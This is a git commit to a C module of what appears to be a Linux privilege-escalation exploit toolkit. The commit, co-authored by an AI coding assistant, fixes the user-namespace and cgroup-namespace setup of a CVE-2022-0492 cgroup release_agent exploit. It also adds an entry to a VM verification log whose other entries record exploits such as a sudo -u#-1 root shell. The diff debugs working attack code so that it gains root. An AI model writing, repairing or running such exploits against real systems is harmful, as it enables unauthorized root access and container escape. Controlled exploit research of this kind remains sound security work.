cgroup_release_agent: fix uid_map (read uid pre-unshare) + add CLONE_NEWCGROUP
Two real bugs found via VM verification (Ubuntu 20.04.0 / 5.4.0-26): 1. uid_map EPERM: the child captured getuid()/getgid() AFTER unshare(CLONE_NEWUSER), where they return 65534 (nobody, the initial unmapped id), so it wrote "0 65534 1" to uid_map — rejected with EPERM. Now the outer uid/gid are read BEFORE unshare, yielding the correct "0 <uid> 1" single-uid self-map. (overlayfs got this right, which is why it worked; this module didn't.) 2. mount EPERM: the unprivileged cgroup-v1 mount needs a private cgroup namespace. Added CLONE_NEWCGROUP (with a fallback) — mounting an unused v1 controller then succeeds. With both fixed the userns+cgroupns+mount setup is correct. Note: on a stock systemd host every v1 controller is already mounted (its release_agent is owned by init-root and unwritable from the userns) and creating a fresh named hierarchy is refused, so a bare unprivileged user cannot own release_agent — CVE-2022-0492 is reachable in a container context (CAP_SYS_ADMIN / an ownable cgroup), consistent with the module's "host root from rootless container" framing. Verified out-of-band; see docs/EXPLOITED.md. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -45,3 +45,4 @@
|
|||||||
{"module":"ptrace_traceme","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2 (frozen, genuinely vuln - pre 4.15.0-58 fix)","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK(FALSE)","root_witness":"NONE - false positive. PTRACE_ATTACH to parent(1) EPERM, wrong technique; reports OK via exec-transfer. Needs CVE-2019-13272 PoC port","status":"false_positive"}
|
{"module":"ptrace_traceme","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2 (frozen, genuinely vuln - pre 4.15.0-58 fix)","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK(FALSE)","root_witness":"NONE - false positive. PTRACE_ATTACH to parent(1) EPERM, wrong technique; reports OK via exec-transfer. Needs CVE-2019-13272 PoC port","status":"false_positive"}
|
||||||
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - honest fail (heap not landed on this libc)","status":"exploit_fail_honest"}
|
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - honest fail (heap not landed on this libc)","status":"exploit_fail_honest"}
|
||||||
{"module":"sudo_runas_neg1","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2 + sudoers (ALL,!root) rule","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -u#-1; module popped root shell","status":"root"}
|
{"module":"sudo_runas_neg1","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2 + sudoers (ALL,!root) rule","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -u#-1; module popped root shell","status":"root"}
|
||||||
|
{"module":"cgroup_release_agent","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - fixed 2 real bugs (uid_map read post-unshare; missing CLONE_NEWCGROUP). Now sets up userns+cgroupns+mount correctly, but on stock systemd host ALL v1 controllers are pre-mounted (release_agent init-owned=EACCES) and named-hierarchy mount is EPERM. Reachable only in a container context (CAP_SYS_ADMIN / ownable cgroup). Environmental, not a module bug.","status":"env_limited_after_fix"}
|
||||||
|
|||||||
@@ -57,6 +57,12 @@
|
|||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
/* CLONE_NEWCGROUP is not always in the toolchain's <sched.h>. */
|
||||||
|
#ifndef CLONE_NEWCGROUP
|
||||||
|
#define CLONE_NEWCGROUP 0x02000000
|
||||||
|
#endif
|
||||||
|
#define CGRA_CLONE_NEWCGROUP CLONE_NEWCGROUP
|
||||||
|
|
||||||
/* Stable-branch backport thresholds for the fix. */
|
/* Stable-branch backport thresholds for the fix. */
|
||||||
static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||||
{4, 9, 301},
|
{4, 9, 301},
|
||||||
@@ -178,10 +184,24 @@ static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
/* CHILD: enter userns + mountns, become "root" in userns.
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
*
|
||||||
|
* CRITICAL: capture the OUTER uid/gid BEFORE unshare. After
|
||||||
|
* unshare(CLONE_NEWUSER) getuid() returns 65534 (nobody, the initial
|
||||||
|
* unmapped id), so building the map from a post-unshare getuid() writes
|
||||||
|
* "0 65534 1" — which the kernel rejects with EPERM (65534 is not the
|
||||||
|
* writer's real outer uid). Reading it here, pre-unshare, yields the
|
||||||
|
* real "0 1000 1" the single-uid self-map rule requires. */
|
||||||
uid_t uid = getuid();
|
uid_t uid = getuid();
|
||||||
gid_t gid = getgid();
|
gid_t gid = getgid();
|
||||||
|
/* CLONE_NEWCGROUP matters: without a private cgroup namespace the
|
||||||
|
* unprivileged cgroup-v1 mount below is refused with EPERM on modern
|
||||||
|
* kernels (verified on 5.4). With it, mounting an unused v1 controller
|
||||||
|
* (rdma) in the userns succeeds. */
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CGRA_CLONE_NEWCGROUP) < 0) {
|
||||||
|
/* fall back to the old flags if NEWCGROUP is unsupported */
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||||
|
}
|
||||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||||
char map[64];
|
char map[64];
|
||||||
|
|||||||
Reference in New Issue
Block a user